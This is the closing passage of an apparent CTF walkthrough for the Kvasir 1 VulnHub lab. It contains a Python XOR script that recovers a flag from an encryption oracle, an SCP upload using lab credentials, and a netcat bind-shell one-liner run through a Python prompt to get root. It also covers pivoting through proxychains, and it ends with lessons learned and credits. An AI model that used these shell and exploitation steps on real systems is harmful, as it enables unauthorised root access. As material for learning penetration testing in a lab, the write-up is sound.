flags[flag_key] = flag_value

# Build a list of known encrypted messages
sock.send("E " + message + "\n")
encrypted_message = sock.recv(200).strip()
message_key = encrypted_message[:6]
message_value = encrypted_message[7:]
messages[message_key] = message_value

# Find the flag key in message keys or vice versa
# (since we're building 2 lists, check both - should
# be able to find a match quicker)
if flag_key in messages:
message_value = messages[flag_key]
break

if message_key in flags:
flag_value = flags[message_key]
break

# Values are returned in hex form, so need to convert it back
# to binary for XOR
binary_message = message_value.decode("hex")
binary_flag = flag_value.decode("hex")

# XOR both encryptions together
# encrypted_message XOR encrypted_flag = message XOR key XOR flag XOR key
xor_both_result = xor_strings(binary_message, binary_flag)

# XOR above rsult with plaintext message to get the flag, because:
# key XOR key = 0; and
# message XOR message = 0; therefore:
# message XOR key XOR flag XOR key XOR message = flag
decoded_flag = xor_strings(xor_both_result, message)

print decoded_flag

sock.close()

Now we just need to get this program onto the locke machine. Copy the above code into a text editor and save it as knabsy_xor.py. Then from your attacker machine SCP the program up to the locke machine using kefka’s credentials (kefka : 5224XbG5ki2C)

proxychains scp knabsys_xor.py kefka@192.168.4.100:/home/kefka/knabsys_xor.py

Back on the locke machine re-run the wep2.py program and then execute knabsys_xor.py.

sudo /opt/wep2.py &

python /home/kefka/knabsys_xor.py

This happens quick. The returned value is 0W6U6vwG4W1V. Meaning that was the INPUT value used to generate the flag’s cipher text.

But we are not done yet.

We need to prove to wep2.py that we solved the challenge. Once again, re-run wep2.py, connect via netcat, and provide 0W6U6vwG4W1V as an entry (instead of V or E string).

sudo /opt/wep2.py &

nc localhost 1234

0W6U6vwG4W1V

Notice instead of an error from our input we get a prompt? It’s actually python. Try it.

print "hi there"

So what do we do with a python shell? My hope is we are running as root, and if we create a listener, we can connect to the locke machine as root. Let’s try calling netcat through python.

import os; os.system ("nc -e /bin/sh -l -p 7777")

Then connect from our attacker machine.

proxychains nc 192.168.4.100 7777

whoami

Boom! We are now root on the final machine. Let’s upgrade our shell, find the final flag, and call it game over.

python -c 'import pty; pty.spawn("/bin/sh")'

ls /root

cat /root/flag.txt

Wait! What’s this?? The flag is unreadable. Is it encrypted??

Not to fear. This will be easy. The flag is encrypted with Rot13 (aka Cesar Cipher). It’s an easy fix.

cat /root/flag | tr 'n-za-mN-ZA-M' 'a-zA-Z'

Congratulates!! We are done!!! You did it!!!!

This was a long challenged and you deserve a real cheers for your commitment!

And the final network map.

We are done! Thank you rasta_mouse (@_RastaMouse) for the hard work creating this challenge!

Also, thank you to Knapsy and G0blin whose guides I referenced earlier for their previous work:

Knapsy = https://web.archive.org/web/20160205193731/http://blog.knapsy.com/blog/2014/11/05/kvasir-vm-writeup/

G0blin =https://g0blin.co.uk/kvasir-1-vulnhub-writeup/

If you are stuck, here is a copy of the tools I used, and the files I download from the challenge:

https://stegin.com/shared/CTFs/Kvasir1/kvasir1_shared.zip

Some learning points: A few things that caught my eye while completing this challenge.

  1. ) Pivoting through a proxy takes patience, but is worth it. I write these guides by first completing the challenge, then restoring the virtual machine to its original state so I can re-run the challenge with commands and screen captures of concepts I know will work. Having previously completed Kvasir I knew how much network navigating the challenge would require. While other guides have chosen to move from compromised system to compromised system laterally, I thought my guide would focus on using Metasploit to utilize the multi-pivot approach. While it took time, I’m glad I did, as I believe it offers more flexibility long-term. The further we pivot into a network the more problematic it becomes to use tools from our attacker machine or retrieve files deeper in the network. I hope you found this configuration useful, as I found it difficult to find similar write-ups correctly configuring a double pivot in Metasploit, and none with a triple pivot.
  2. Have multiple terminal applications on your attacker machine. My preferred terminal emulator is Terminator, for its simplicity and ease of splitting windows. I also used the Terminology and the default system terminal in Kali. In this challenge there was so much going on at any time that I had at least three different terminal applications running at all times to make clean screen captures (I probably needed more).
  3. Not all of the challenges were realistic, but they were fun: I doubt anyone will ever discover credentials encoded in an audio file, but what a neat trick for a CTF! The more exposed we are to different types of challenges and technology, the more we learn, and the more capable we become as security professionals. This was a great challenge, and I’m grateful to rasta_mouse for the considerable time it had to have taken to build it.

I hope you enjoyed the write-up!

Remember, use your powers for good, and together we can make a better, safer digital world for everyone to enjoy.

Good luck in your future challenges!

--

--